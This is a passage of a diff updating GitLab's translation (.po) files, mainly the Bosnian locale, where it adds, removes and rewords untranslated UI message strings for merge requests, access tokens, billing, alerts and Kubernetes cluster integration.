@@ -38768,6 +38609,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38786,9 +38630,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -39094,6 +38935,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -39187,6 +39031,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39272,9 +39119,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39666,6 +39510,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39702,9 +39549,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39765,7 +39609,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39846,7 +39690,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39909,6 +39756,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40207,6 +40057,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40309,6 +40162,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index d379cabb9e2..03148263c92 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:27\n"
+"PO-Revision-Date: 2021-07-01 21:10\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -91,6 +88,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -304,12 +304,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -484,6 +478,27 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -529,6 +544,12 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -721,10 +742,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -892,6 +913,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -925,9 +949,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1036,12 +1057,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1072,6 +1087,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1585,9 +1603,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1648,18 +1663,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1864,13 +1870,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1888,16 +1894,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2017,6 +2023,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2026,6 +2035,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2089,6 +2101,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2215,6 +2230,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2464,19 +2479,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2488,7 +2506,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2497,10 +2515,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2911,9 +2926,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3133,12 +3160,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3265,9 +3298,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3334,6 +3364,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3493,9 +3526,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3568,9 +3598,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3622,6 +3649,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3712,6 +3742,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3868,9 +3901,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4147,9 +4177,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4243,15 +4270,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4639,9 +4660,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4831,9 +4849,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5221,6 +5236,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5365,6 +5383,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5425,6 +5446,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5455,6 +5479,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5677,6 +5704,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5845,6 +5875,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5893,10 +5926,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5941,6 +5974,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6064,9 +6100,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6172,15 +6205,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6457,6 +6490,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6559,9 +6595,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6589,6 +6622,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7018,9 +7054,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7030,24 +7063,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7081,15 +7102,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7102,9 +7114,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7126,9 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7147,15 +7153,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7177,9 +7174,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7192,15 +7186,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7222,15 +7213,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7279,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7300,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7318,9 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7363,27 +7333,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7411,9 +7366,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7423,18 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7456,39 +7396,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7522,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7573,12 +7480,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7621,9 +7522,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7633,15 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7678,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
